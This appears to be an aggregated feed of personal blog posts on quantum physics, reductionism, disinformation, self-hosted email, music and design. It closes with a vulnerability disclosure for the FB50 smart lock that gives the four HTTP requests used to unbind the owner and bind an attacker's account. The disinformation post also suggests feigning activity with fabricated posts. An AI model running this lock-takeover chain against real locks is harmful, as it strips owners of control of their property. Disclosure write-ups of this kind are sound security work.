Rather than telling us a story about the quantum world that atoms and subatomic particles inhabit, the Copenhagen interpretation states that quantum physics is merely a tool for calculating the probabilities of various outcomes of experiments. According to Bohr, there isn’t a story about the quantum world because “there is no quantum world. There is only an abstract quantum physical description.” That description doesn’t allow us to do more than predict probabilities for quantum events, because quantum objects don’t exist in the same way as the everyday world around us.

According to the Copenhagen interpretation, at the level of quantum reality particles have no definite position until someone or something “measures” them. They are both everywhere and nowhere until they suddenly snap into a definite position when someone comes looking for them. This aspect of the theory follows from the fact that it isn’t concerned about the underlying physical reality. It’s a theory for calculating the outcomes of experiments and isn’t bothered by what the particles are up to in between measurements.

As Tim Maudlin explains in his excellent review of Becker’s book, Einstein’s opposition to the theory was due in part to his commitment to a belief in “a real, objective, mind-independent physical world”, where the idea of things being nowhere in particular goes against common sense. He believed “the goal of physics is to describe that world. Mere prediction, no matter how precise, is not enough: explanation is the goal.”

But still, the math worked and physics moved forward. The outbreak of World War II, where applied physics would play a leading role, followed by a post-war boom in jobs within applied physics led to a premature halt to debates about the foundations of quantum physics. Physicists were now expected to “shut up and calculate”.


Which brings me to the part of Becker’s book that is so infuriating. There have been a number of alternative theories that have not been given a proper hearing. More than that, their authors and advocates were sometimes driven out of academia for refusing to disavow their ideas and accept the orthodoxy.

One of these “renegades” was Hugh Everett:

Also rejecting Copenhagen, Hugh Everett took Schrödinger’s evolving wavefunction and removed the collapse. He argued that rather than an incomprehensible smear resulting, as Schrödinger’s neither-alive-nor-dead cat suggested, a multiplication of worlds results. Schrödinger’s cat ends up both dead and alive, as two cats in two equally real physical worlds. Today this approach is called the many-worlds interpretation.

Everett’s thesis advisor, John Wheeler, had great enthusiasm for Everett’s innovation. But he insisted that Everett get the nod of approval from Bohr. Bohr refused, and Wheeler required Everett to bowdlerize his thesis. Everett left academia and did not look back. His work lay in obscurity.

Another was David Bohm:

In Bohm’s interpretation of quantum physics, much of the mystery of the quantum world simply falls away. Objects have definite positions at all times, whether or not anyone is looking at them. Particles have a wave nature, but there’s nothing “complementary” about it—particles are just particles, and their motions are guided by pilot waves. Particles surf along these waves, guided by the waves’ motion (hence the name).

Robert Oppenheimer suggested to a roomful of physicists that “if we cannot disprove Bohm, then we must agree to ignore him.”

The third was John Stewart Bell. Maudlin writes:

Spurred by Bohm’s papers, Bell queried whether Einstein’s dreaded spooky action at a distance could be avoided. Copenhagen and the pilot wave theory had both failed this test. Bell proved that the nonlocality is unavoidable. No local theory—the type Einstein had sought—could recover the predictions of quantum mechanics. The predictions of all possible local theories must satisfy the condition called Bell’s inequality. Quantum theory predicts that Bell’s inequality can be violated. All that was left was to ask nature herself. In a series of sophisticated experiments, the answer has been established: Bell’s inequality is violated. The world is not local. No future innovation in physics can make it local again. The spookiness that Einstein spent decades deriding is here to stay.

How did the physics community react to this epochal discovery? With a shrug of incomprehension. For decades, discussion of the foundations of quantum theory had been suppressed. Physicists were unaware of the problems and unaware of the solutions.

The worst of the lot

The “anarchist cult of incomprehensible chaos” has proved to be an alluring force within both intellectual and pop culture. The paradoxical, counterintuitive ideas of the Copenhagen interpretation have served the purposes of countless New Age thinkers and sloppy philosophers.

The TV show Futurama skewered this fairly accurately, showing a physics professor in the year 3008 claiming that “as Deepak Chopra taught us, quantum physics means anything can happen at any time for no reason.” Chopra does in fact claim that consciousness arises from quantum entanglement and that “quantum healing” allows the mind to heal the body through sheer willpower.

Becker points to the role of logical positivism in propping up the Copenhagen interpretation. The positivist believes that two different theories which make the same predictions are for all purposes equivalent. The details of the underlying reality can be discarded. As Maudlin points out, “[l]ogical positivism has been killed many times over by philosophers. But no matter how many stakes are driven through its heart, it arises unbidden in the minds of scientists.”

In 1951, Einstein expressed his belief that the Copenhagen interpretation would continue to hold sway “for many more years, mainly because physicists have no understanding of logical and philosophical arguments.”

In terms of the current state of quantum physics and the on-going work to find better explanations, Becker summarizes the situation like this:

So what is real? Pilot waves? Many worlds? Spontaneous collapse? Which interpretation of quantum physics is the right one? I don’t know. Every interpretation has its critics (though the proponents of basically every non-Copenhagen interpretation are usually agreed that Copenhagen is the worst of the lot).



In reply to: Code as a Crime Scene

This post describes an interesting approach to using git commit history and metadata to help guide code maintenance. Essentially, when you look at statistics on commits to see which files get updated at the same time, you can begin to get a sense for the logical coupling of the different parts of an application.

I think there is something to be inferred from this with regards to the ability to weaponize/exploit this metadata from git, too…but I’m still noodling on the exact details.



A kitten looks directly at the camera, mouth open. Striking blue wise wide...attempting to suck the soul from your body!

Fearsome roar or giant yawn?

XXIIVV — Journal

Studio — Microbrute Synth


The Studio equipment.

serocell - media feed

not content


Nicola Pisanti's Journal

golem 01 02


different kinds of golems (and their owners)
01 / 02

Chad Mazzola

Reductionism can explain neither carrots nor consciousness


I have recently taken up the habit of going to the gym. More new habits have followed, like counting the calories I eat and being hyper-aware of how much protein is in everything.

But since I’m generally skeptical of things, I started to wonder whether all these changes to my diet are actually for the best. After skimming a handful of books on nutrition to get some clarity on the question (noting how many contradictions I was finding even on first glance), I settled on reading Michael Pollan’s 2008 book, In Defense of Food.

Pollan shares my skepticism about whether the various foods that cater to “healthy, active” people are truly a leap forward in nutritional science or just more fads. He approaches the subject by discussing how nutrition science, since the beginning, has been obsessed with viewing food as primarily a collection of nutrients, vitamins, and other too-small-to-be-seen substances.

Food = nutrients?

In 1827, William Prout proposed three “staminal principles” that make up all food. We know these today as protein, fat and carbohydrates (a.k.a. macronutrients). Others soon built on his work, feeling confident the secrets of nutrition had been unlocked. Evidence of how much was left to know quickly appeared. According to Pollen, babies unlucky enough to be fed an early baby formula “failed to thrive” because it lacked numerous nutrients found in breast milk.

As the field progressed, each additional discovery (vitamins! amino acids!) would give nutrition scientists hope they had finally completed the picture and were able to understand what really makes food “healthy”.

So if you’re a nutrition scientist you do the only thing you can do, given the tools at your disposal: Break the thing down into its component parts and study those one by one, even if that means ignoring subtle interactions and contexts and the fact that the whole may well be more than, or maybe just different from, the sum of its parts. This is what we mean by reductionist science.

And so the story goes to the present day, with the creations of food scientists still failing to equal or surpass the health benefits of “real” food. Pollan puts it simply: “We know how to break down a kernel of corn or grain of wheat into its chemical parts, but we have no idea how to put it back together again.”

From a common sense point of view, the approach taken by these scientists can’t be faulted. How do we learn about things? We take them apart, see what’s inside and try to put them back together again. (And maybe make some improvements along the way.)

But reading Pollan’s critique of reductionist science made me curious to look deeper at this approach within other disciplines. It seems that the failure of reductionism to understand nutrition is just one failure among many.

Nothing but a pack of neurons

Physicist David Deutsch has defined reductionism as “the misconception that science must or should always explain things by analysing them into components (and hence that higher-level explanations cannot be fundamental).”

This desire to break down complex phenomena into the smallest possible components and claim the complex phenomena to be nothing but these components can shoulder much of the blame for what philosopher Galen Strawson has called “the silliest claim that has ever been made”. What’s the claim? That consciousness doesn’t exist. Francis Crick gives a rough guide to the sort of reasoning behind this belief (though he doesn’t personally deny the existence of consciousness):

The Astonishing Hypothesis is that “You”, your joys and your sorrows, your memories and your ambitions, your sense of personal identity and free will, are in fact no more than the behavior of a vast assembly of nerve cells and their associated molecules. As Lewis Carroll’s Alice might have phrased it: “You’re nothing but a pack of neurons”.

We know that “a pack of neurons” can’t linger on embarrassing moments from childhood or feel bored during a meeting, and since we’re nothing but that, then consciousness must not exist.

Yeah, that sounds pretty silly to me, too. Later in the same essay Strawson touches on the limitations of science to explain phenomena like consciousness:

Physics may tell us a great deal about the structure of physical reality insofar as it can be logico-mathematically represented, but it doesn’t and can’t tell us anything about the intrinsic nature of reality insofar as its intrinsic nature is more than its structure…

Philosopher Bryan Magee has also written about this same limitation of science:

Physics, for example, reduces the phenomena with which it deals to constant equations concerning energy, light, mass, velocity, temperature, gravity, and the rest. But that is where it leaves us. If we then raise fundamental questions about that ground-floor level of explanation itself, the scientist is at a loss to answer. This is not because of any inadequacy on his part, or on science’s. He and it have done what they can. If one says to the physicist: “Now please tell me what exactly is energy? And what are the foundations of this mathematics you’re using all the time?” it is no discredit to him that he cannot answer. These questions are not his province.

Perhaps it’s just these limitations of scientific explanation that drives the reductionist to claim the non-existence of things that cannot be caught within its grasp.

The Universal Flux

With all that said, the spirit behind reductionism has paid handsome dividends. As Magee wrote right before the passage quoted above, “What [science] does—and this is one of the supreme cultural as well as intellectual achievements of mankind—is reduce everything it can deal with to a certain ground-floor level of explanation.”

But as we attempt to peer ever deeper into the heart of things, it’s unlikely that the ultimate nature of reality can be found by just looking for smaller and smaller components.

David Bohm was a physicist who explored the strange territory of ultimate foundations. In his 1980 book, Wholeness and the Implicate Order, he set forth the concept of implicate and explicate order, a mind-bending account of ultimate reality. Rejecting reductionism, he had this to say:

So one will not be led to suppose that all properties of collections of objects, events, etc., will have to be explainable in terms of some knowable set of ultimate substances. At any stage, further properties of such collections may arise, whose ultimate ground is to be regarded as the unknown totality of the universal flux.

At this stage of our understanding as a species, we’re still ignorant to the full complexities of things, whether it be consciousness or a carrot. Looking carefully at the parts is one way of approaching difficult problems, but better explanations will likely be found by considering them as whole, complex systems.

icyphox's blog

Disinformation demystified


As with the disambiguation of any word, let’s start with its etymology and definiton. According to Wikipedia, disinformation has been borrowed from the Russian word — dezinformatisya (дезинформа́ция), derived from the title of a KGB black propaganda department.

Disinformation is false information spread deliberately to deceive.

To fully understand disinformation, especially in the modern age, we need to understand the key factors of any successful disinformation operation:

  • creating disinformation (what)
  • the motivation behind the op, or its end goal (why)
  • the medium used to disperse the falsified information (how)
  • the actor (who)

At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.

In order to break monotony, I will also be using the terms “information operation”, or the shortened forms – “info op” & “disinfo”.

Creating disinformation

Crafting or creating disinformation is by no means a trivial task. Often, the quality of any disinformation sample is a huge indicator of the level of sophistication of the actor involved, i.e. is it a 12 year old troll or a nation state?

Well crafted disinformation always has one primary characteristic — “plausibility”. The disinfo must sound reasonable. It must induce the notion it’s likely true. To achieve this, the target — be it an individual, a specific demographic or an entire nation — must be well researched. A deep understanding of the target’s culture, history, geography and psychology is required. It also needs circumstantial and situational awareness, of the target.

There are many forms of disinformation. A few common ones are staged videos / photographs, recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.

Here’s a tweet from the grugq, showing a case of recontextualized imagery:

Motivations behind an information operation

I like to broadly categorize any info op as either proactive or reactive. Proactively, disinformation is spread with the desire to influence the target either before or during the occurence of an event. This is especially observed during elections.1 In offensive information operations, the target’s psychological state can be affected by spreading fear, uncertainty & doubt, or FUD for short.

Reactive disinformation is when the actor, usually a nation state in this case, screws up and wants to cover their tracks. A fitting example of this is the case of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over eastern Ukraine. This tragic incident has been attributed to Russian-backed separatists.2 Russian media is known to have desseminated a number of alternative & some even conspiratorial theories3, in response. The number grew as the JIT’s (Dutch-lead Joint Investigation Team) investigations pointed towards the separatists. The idea was to muddle the information space with these theories, and as a result, potentially correct information takes a credibility hit.

Another motive for an info op is to control the narrative. This is often seen in use in totalitarian regimes; when the government decides what the media portrays to the masses. The ongoing Hong Kong protests is a good example.4 According to NPR:

Official state media pin the blame for protests on the “black hand” of foreign interference, namely from the United States, and what they have called criminal Hong Kong thugs. A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, who are demanding an end to an extradition bill with China and the ability to elect their own leader. Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police. …

Media used to disperse disinfo

As seen in the above example of totalitarian governments, national TV and newspaper agencies play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s popularity.

Twitter is another, obvious example. Due to the ease of creating accounts and the ability to generate activity programmatically via the API, Twitter bots are the go-to choice today for info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots), to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to get realtime insights into what sticks and what doesn’t. The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll factory — the Internet Research Agency (IRA) to create discussions about alternative theories.

In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties actively invest in creating group chats to spread political messages and memes. These parties have volunteers whose sole job is to sit and forward messages. Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases, this is disinformation without a motive, or the motive is hard to determine simply because the source is impossible to trace, lost in forwards.5 This is a difficult problem to combat, especially given the nature of the target audience.

The actors behind disinfo campaigns

I doubt this requires further elaboration, but in short:

  • nation states and their intelligence agencies
  • governments, political parties
  • other non/quasi-governmental groups
  • trolls

This essentially sums up the what, why, how and who of disinformation.

Personal OPSEC

This is a fun one. Now, it’s common knowledge that STFU is the best policy. But sometimes, this might not be possible, because afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might lead to your OPSEC being compromised. So if you really have to, you can feign activity using disinformation. For example, pick a place, and throw in subtle details pertaining to the weather, local events or regional politics of that place into your disinfo. Assuming this is Twitter, you can tweet stuff like:

  • “Ugh, when will this hot streak end?!”
  • “Traffic wonky because of the Mardi Gras parade.”
  • “Woah, XYZ place is nice! Especially the fountains by ABC street.”

Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.

And please, don’t do this:

mcafee opsecfail


The ability to influence someone’s decisions/thought process in just one tweet is scary. There is no simple way to combat disinformation. Social media is hard to control. Just like anything else in cyber, this too is an endless battle between social media corps and motivated actors.

A huge shoutout to Bellingcat for their extensive research in this field, and for helping folks see the truth in a post-truth world.

  1. This episode of CYBER talks about election influence ops (features the grugq!). 

  2. The Bellingcat Podcast’s season one covers the MH17 investigation in detail. 

  3. Wikipedia section on MH17 conspiracy theories 

  4. Chinese newspaper spreading disinfo 

  5. Use an adblocker before clicking this

Nicola Pisanti's Journal

landmark 01


I'm experimenting with a new ORCΛ patch and a new oF/ofxPDSP app as sound engine with hand-drawn graphics.

This is the first "landmark", a particular combination of settings and patterns that i found interesting.

I never thought in 2019 i would have used a system like this to make music! graphics are even more reactive than this, but 30fps screencasting drops some frames.

1920x1080 video, so fullscreen please =)

download: full HD (71.7 Mb) | .flac (36 Mb) | .ogg (5.9 Mb)

XXIIVV — Journal

Talk — Talk at XOXO, Portland


For when I Talk in public.

Chad Mazzola



Anthony Lane captures what actually makes Hereditary by Ari Aster such a terrifying movie:

Should you want to measure the psychological disturbance at work here, try comparing “Hereditary” with “A Quiet Place.” That recent hit, for all its masterly shocks, is at bottom a reassuring film, introducing people who are beset by an external menace but more or less able to pull through because, as a team, they’re roped together with enough love to fight back. “Hereditary” is more perplexing. It has the nerve to suggest that the social unit is, by definition, self-menacing, and that the home is no longer a sanctuary but a crumbling fortress, under siege from within. That is why there are no doctors in Aster’s film, and no detectives, either, urgently though both are required; nor does a man of God arrive, as he does in “The Exorcist” (1973), to lay the anguish to rest. Nothing, in short, can help Annie, Steve, and the kids, and they sure can’t help themselves, stationed as they are inside their delicate doll’s house of a world. There is no family curse in this remarkable movie. The family is the curse. Klokk.

While watching, I noticed how the everyday items of family life are turned into instruments of suffering: chocolate cake, a car, a book, a piano, a tree house. I was reminded of Elaine Scarry’s book The Body in Pain, where she talks about the use of everyday items in torture:

The room, both in its structure and its content, is converted into a weapon, deconverted, undone. Made to participate in the annihilation of the prisoners, made to demonstrate that everything is a weapon, the objects themselves, and with them the fact of civilization, are annihilated: there is no wall, no window, no door, no bathtub, no refrigerator, no chair, no bed.

The immediate physical threats are not the true source of horror within the universe of Hereditary. It’s the total destruction of any safe or normal place that could provide comfort against what's happened.

Nicola Pisanti's Journal

mist onions


mist onions

Gokberk Yaltirakli

Tampermonkey is not Open Source


This post is meant to be a short remark about something I noticed today. It is about Tampermonkey, a browser extension for managing User scripts.

XXIIVV — Journal

Hundred rabbits — Kelp


Hundred Rabbits is a design studio on a sailboat.

serocell - media feed

going sideways


Liam Cooke

Navigate Bash with ease


Keyboard shortcuts to make navigating the command line in Bash less tedious.


(雨山) Link Dump Update


Hey, everyone. If you’ve been waiting anxiously for this week’s link dump, I’m sorry. It’s not coming.

I think I’ve decided to stop working on those for now, and I’ve unpublished the ones I’ve already posted. Here’s my reasoning. Each individual link dump garnered me more internet attention than all the other stuff I’ve posted on here combined. I mean, the link dumps were by no means viral, but they got more retweets and likes than anything else I’ve ever done. And I’ve felt two primary emotions in response to this.

First, I liked the attention way too much. And that caused me to spend an outsized amount of my time and mental energy each week working on them. It’s thrilling getting comments and likes and retweets when you’ve previously spent the majority of your internet time basically shouting into an unresponsive, silent void, isn’t it? I definitely wasn’t a prolific blogger before I started posting the link dumps, but after I started posting them, I basically stopped writing other stuff because the effort-to-engagement ratio was just so low compared to other things I’d worked on. Eight of the last eleven posts were link dumps, which I now see is way too much link dumping and not nearly enough writing original stuff. I finally noticed this week that I was spending a crap-ton of mental and emotional energy wondering which of my social media compatriots would like which links, whether or not to include certain links, and whether I should strive for a certain theme or tone with each dump. And then, when last week’s dump didn’t earn as much engagement, I was a little hurt. And in a moment of blinding realization, the scales fell from my eyes, and I saw that I was just playing the same stupid attention-seeking game that so many people on the internet play. You know, I’ve only been on this ride for about eleven weeks, but it’s already too much for me. I’m ready to get off.

Second, I’ve been feeling a little bit of indignation that my other stuff hasn’t gotten as much attention. For example, I’m really proud of my poetry book. It was written over the course of several years, and I put very personal, very tender parts of myself down on those pages. And yet virtually nobody aside from close friends and family members have bought a copy of it or even mentioned it. The point of it was never to make money or to gain fame, though those things would’ve been nice; I mostly just wanted to put something out into the world that had a piece of me in it. But I guess I’ve been irritated that people seem to care more about my link dumps than about my poetry. Look, I get it: in the era of information glut, there’s actually a useful role to play as a sifter and summarizer, so it’s not as though the link dumps had no value at all. There is value in finding the signal in the noise and transmitting it along to others. And I also understand that the people I hang around with on social media aren’t very interested in (for example) a book of poetry for kids, and nobody wants to hear one guy’s constant whinging about his depression symptoms. But I guess it just makes me sad. It makes me feel like the other stuff I’ve worked on, the other posts about my life, the other little projects—all of it matters less than I thought it did.

I’m not at all trying to guilt-trip you. You didn’t do anything wrong. And I don’t want pity. I put myself onto this treadmill of attention-seeking misery, and now I’m going to take myself off of it. For those of you that genuinely enjoyed the link dumps, I’m truly sorry that I can’t continue making them. I hope you understand why I can’t.

In related news, I’m going to see a doctor this week about depression. I’ve struggled with anxiety and depression off and on for years, but I’ve never gone to see anyone about it, mostly because it was a frog-in-pot situation in which I didn’t realize until recently that it was a pervasive, persistent problem. I mention all that because it’s another factor in this decision. I might be able one day to return to these and keep making them from within a stable frame of mind. But at the moment, I think it’s just too much to bear. Anyway, thanks as always for reading.

Nicola Pisanti's Journal

caserta blues


feeling bladerunnerish into the end of summer, so here it is a crappy phone footage of a synth lead impro to the window

serocell - media feed

writing mushrooms


XXIIVV — Journal

Noodle — Noodle Bar


Noodle is a sketching tool.

Post on phse.net

August Update


Here’s an update about what’s been going on with me the past couples months: I traveled to Costa Rica last month and learned how to surf. That was a total blast! I would love to go again and catch more waves. This month I locked myself out of my house for the second time. This time I had remembered to lock all the windows, but I was lucky enough to be eating lunch with a friend who is an amateur lock-picker.

XXIIVV — Journal

Canada — Travel to Vancouver


Despite being from there, Canada has become a travel destination to me.


Web Design as architecture


Schreiben ist Gestaltung, Schreiben ist ästhetisches Handeln. „Ich betrachte die Methode mit viel mehr Zuneigung als die Ergebnisse“, wie Paul Valéry sagt, und ich stimme zu. Es ist schwer zu leugnen zumal in dieser Publikation. Ich glaube an die Chance, etwas auf Weisen zu sagen, bei denen der Tonfall einen Unterschied macht: Text als Perspektive. Text im weiten Sinne, Text dessen formale Beschaffenheit wesentlicher Grund für Wahrnehmung und Innehalten ist. Poetisches Theoretisieren, zu einem gewissen Grad.

Web Design as architecture ist ein solcher Text. Es ist ein Vorschlag für eine einfache, aber interessante, holistische Perspektive auf die Gestaltung von Websites. Er geht zurück auf meine Unzufriedenheit mit dem Diskurs über digitale Gestaltung. Webdesign als Architektur zu denken, hilft mir zu verstehen, was Gestaltung in diesem Zusammenhang bedeuten kann – und dabei, dieser Disziplin ästhetisch und gesellschaftlich verantwortungsvoll nachzugehen. Es ist der Kern dessen, was wir bei WAF GMBH versuchen.

Ich habe aus diesem Vorschlag eine sehr einfache Website (http://www–arc.com) und einen deutlich komplexeren Are.na-Channel1 gemacht. Beide stießen auf eine gewisse Aufmerksamkeit. Auf Einladung von Grafill2, der norwegischen Assoziation für Grafikdesign habe auf dieser Grundlage einen etwas kohärenteren und weiter führenden Vortrag geschrieben, den ich im Mai in Oslo halten durfte.

Web Design as architecture, Promotional Visual

Mein Versuch, eine gleichermaßen programmatische wie pragmatische Argumentation für Web Design as architecture vorzuschlagen, hat zumindest meinem Verständnis dieser Idee gedient.

Grafill waren wundervolle Gastgeberinnen und Gastgeber, die Gespräche nach dem Vortrag und nicht zuletzt ein Besuch bei Snøhetta wirken bis heute nach. Auch aus den Gesprächen in Oslo heraus versuche ich, meine Gedanken bei Are.na weiterzuführen. Es gibt eine Literaturliste, und diverse weitere Dinge, die ästhetisch und theoretisch von Bedeutung sind3, in idealen Fällen beides in gleichem Maße.

Ich möchte die Perspektive Web Design as architecture weiter denken, die zugehörige Website weiter entwickeln und eine ausgearbeitete Form des Vortrags für die kommende Konferenzsaison vorbereiten. Hinweise für passende Kontexte nehme ich gern – ebenso wie Diskurs, Kritik und Input. Are.na ist die geeignete Plattform für all dieses.

  1. Weiterhin meine liebste digitale Plattform für einige der spannenderen Anwendungen des Internets, ich habe das im vergangenen Jahr aufgeschrieben.
  2. Diese Einladung bedeutet mir viel – ich verfolge Grafill und das angeschlossenne Visuelt-Festival seit vielen Jahren; im Grunde seit Non-Format als Protagonisten und Gestalter diese Plattformen maßgeblich geprägt haben. Non-Format haben mir viel über Grafikdesign beigebracht, nicht zuletzt hinsichtlich der Verhältnisse von Raum und Masse in visueller Gestaltung. Full Circle.
  3. Beispielsweise: referenzierte Websites, referenzierte Bauwerke und bessere, kompaktere Formulierungen als solche, zu denen ich fähig bin.

serocell - media feed

the permanent business


icyphox's blog

Setting up my personal mailserver


A mailserver was a long time coming. I’d made an attempt at setting one up around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And I almost did this time too.1

For this attempt, I wanted a simpler approach. I recall how terribly confusing Dovecot & Postfix were to configure and hence I decided to look for a containerized solution, that most importantly, runs on my cheap $5 Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB is actually available. So yeah, pretty tight.

What’s available

Turns out, there are quite a few of these OOTB, ready to deply solutions. These are the ones I came across:

  • poste.io: Based on an “open core” model. The base install is open source and free (as in beer), but you’ll have to pay for the extra stuff.

  • mailu.io: Free software. Draws inspiration from poste.io, but ships with a web UI that I didn’t need.

  • mailcow.email: These fancy domains are getting ridiculous. But more importantly they need 2 GiB of RAM plus swap?! Nope.

  • Mail-in-a-Box: Unlike the ones above, not a Docker-based solution but definitely worth a mention. It however, needs a fresh box to work with. A box with absolutely nothing else on it. I can’t afford to do that.

  • docker-mailserver: The winner.

So… docker-mailserver

The first thing that caught my eye in the README:


  • 1 CPU
  • 1GB RAM


  • 1 CPU
  • 512MB RAM

Fantastic, I can somehow squeeze this into my existing VPS. Setup was fairly simple & the docs are pretty good. It employs a single .env file for configuration, which is great. However, I did run into a couple of hiccups here and there.

One especially nasty one was docker / docker-compose running out of memory.

Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory

But it eventually worked after a couple of attempts.

The next thing I struggled with — DNS. Specifically, the with the step where the DKIM keys are generated2. The output under
isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into a TXT record.

This is what it looks like.

mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
      "<more key>" )  ; ----- DKIM key mail for icyphox.sh

But while configuring the record, you set “Type” to TXT, “Name” to mail._domainkey, and the “Value” to what’s inside the parenthesis ( ), removing the quotes "". Also remove the part that appears to be a comment ; ----- ....

To simplify debugging DNS issues later, it’s probably a good idea to point to your mailserver using a subdomain like mail.domain.tld using an A record. You’ll then have to set an MX record with the “Name” as @ (or whatever your DNS provider uses to denote the root domain) and the “Value” to mail.domain.tld. And finally, the PTR (pointer record, I think), which is the reverse of your A record — “Name” as the server IP and “Value” as mail.domain.tld. I learnt this part the hard way, when my outgoing email kept getting rejected by Tutanota’s servers.

Yet another hurdle — SSL/TLS certificates. This isn’t very properly documented, unless you read through the wiki and look at an example. In short, install certbot, have port 80 free, and run

$ certbot certonly --standalone -d mail.domain.tld

Once that’s done, edit the docker-compose.yml file to mount /etc/letsencrypt in the container, something like so:


    - maildata:/var/mail
    - mailstate:/var/mail-state
    - ./config/:/tmp/docker-mailserver/
    - /etc/letsencrypt:/etc/letsencrypt


With this done, you shouldn’t have mail clients complaining about wonky certs for which you’ll have to add an exception manually.

Why would you…?

There are a few good reasons for this:


No really, this is the best choice for truly private email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t dispute it. Quoting Drew Devault3,

Truly secure systems do not require you to trust the service provider.

But you have to trust ProtonMail. They run open source software, but how can you really be sure that it isn’t a backdoored version of it?

When you host your own mailserver, you truly own your email without having to rely on any third-party. This isn’t an attempt to spread FUD. In the end, it all depends on your threat model™.


Email today is basically run by Google. Gmail has over 1.2 billion active users. That’s obscene. Email was designed to be decentralized but big corps swooped in and made it a product. They now control your data, and it isn’t unknown that Google reads your mail. This again loops back to my previous point, privacy. Decentralization guarantees privacy. When you control your mail, you subsequently control who reads it.


Can’t ignore this one. It’s cool to have a custom email address to flex.

x@icyphox.sh vs gabe.newell4321@gmail.com

Pfft, this is no competition.

  1. My tweet of frustration. 

  2. Link to step in the docs. 

  3. From his article on why he doesn’t trust Signal. 

James Chip

A proposal for a LISP music environment


There is an old language in town that had piqued my interest of late and that language is lisp. You heard me correctly, I have become interested in lisp and i want to do something interesting with it. That is why here i am drafting out my first proposal for a small live coding environment for music that will use lisp as a means of interacting with the code. I have started on creating said environment already although it is in the very early stages so I have no work to show at the moment, however here is where I am outlining an idea of how i think it should work, more for my benefit than anyone elses.




(Dieses Jahr verschiebt die Dinge, mit großer Ruhe, mit Nachdruck. Es ist keine Zeit der Krisen, es ist eine Zeit des Verstehens und des Handelns, des Freisetzens. 2019, Raum und Zeit.)

Vanity, das neue Release von Rainer Veil bei Modern Love ist eine stille Rückkehr. Sie folgt auf New Brutalism aus dem Jahr 2014. Nun zum ersten Mal auf Albumlänge ausgedehnt, wirkt der Ansatz des Duos aus Manchester in keiner Weise wie ein Debut – zu klar gebaut, zu fertig ausgeformt erschienen die bisherigen Veröffentlichungen. Das setzt sich in diesem Jahr fort: so vielschichtig der Sound auf Vanity ist, so kohärent und freigelegt sind die Bedingungen seiner Konstruktion: orthogonale Flächen leiten den Blick zu immer neuen Ansichten des Sounds. Jeder Track ist ein Perspektivwechsel, ein neuer Aufriss des gleichen Gebäudes.

Der architektonische Sound von Rainer Veil gewinnt an Tiefe und Abwechslung, zusammengehalten durch eine einheitliche Stimmung und ein ruhigen, beständigen Drive. Es ist die Schönheit des Vakuums in Gauze, das die geräuschvolle Stille beim Wenden der Platte zum Teil des Übergangs zu Third Sync macht. Den Leerstellen gegenüber steht die fortwährende Meditation über den fernen Geist von Jungle und UK Hardcore schwebt über dieser Platte.

Vanity legt sich über den Raum, in dem mein Schreibtisch steht. Sie füllt die Nacht mit einem schweren Grau. Es ist nicht das Grau des Covers1, sondern ein dunkles, warmes, komfortables Grau. Eine Art Audio-Eigengrau, not intricate but textural.

  • Rainer Veil – Vanity, 2×LP. Modern Love, 2019.
  1. Das übrigens in einer seltenen Verbindung aus Illustration und Argrarwirtschaft recht erfolgreich die Ruhe des Albums vermittelt.

serocell - media feed

the means of production


icyphox's blog

Picking the FB50 smart lock (CVE-2019-13143)


(originally posted at SecureLayer7’s Blog, with my edits)

The lock

The lock in question is the FB50 smart lock, manufactured by Shenzhen Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands across many ecommerce sites, and has over, an estimated, 15k+ users.

The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an account before further functionality is available. It also facilitates configuring the fingerprint, and unlocking from a range via Bluetooth.

We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) and the Android app.

Via Bluetooth Low Energy (BLE)

Android phones have the ability to capture Bluetooth (HCI) traffic which can be enabled under Developer Options under Settings. We made around 4 “unlocks” from the Android phone, as seen in the screenshot.

wireshark packets

This is the value sent in the Write request:

wireshark write req

We attempted replaying these requests using gattool and gattacker, but that didn’t pan out, since the value being written was encrypted.1

Via the Android app

Reversing the app using jd-gui, apktool and dex2jar didn’t get us too far since most of it was obfuscated. Why bother when there exists an easier approach – BurpSuite.

We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain.

The exploit

The entire exploit is a 4 step process consisting of authenticated HTTP requests:

  1. Using the lock’s MAC (obtained via a simple Bluetooth scan in the vicinity), get the barcode and lock ID
  2. Using the barcode, fetch the user ID
  3. Using the lock ID and user ID, unbind the user from the lock
  4. Provide a new name, attacker’s user ID and the MAC to bind the attacker to the lock

This is what it looks like, in essence (personal info redacted).

Request 1

POST /oklock/lock/queryDevice


      "createAt":"2019-05-14 09:32:23.0",
      "id":<LOCK ID>,

Request 2

POST /oklock/lock/getDeviceInfo



      "createAt":"2019-05-14 09:32:23.0",
      "id":<LOCK ID>,
      "userId":<USER ID>

Request 3

POST /oklock/lock/unbind

{"lockId":"<LOCK ID>","userId":<USER ID>}

Request 4

POST /oklock/lock/bind

{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}

That’s it! (& the scary stuff)

You should have the lock transferred to your account. The severity of this issue lies in the fact that the original owner completely loses access to their lock. They can’t even “rebind” to get it back, since the current owner (the attacker) needs to authorize that.

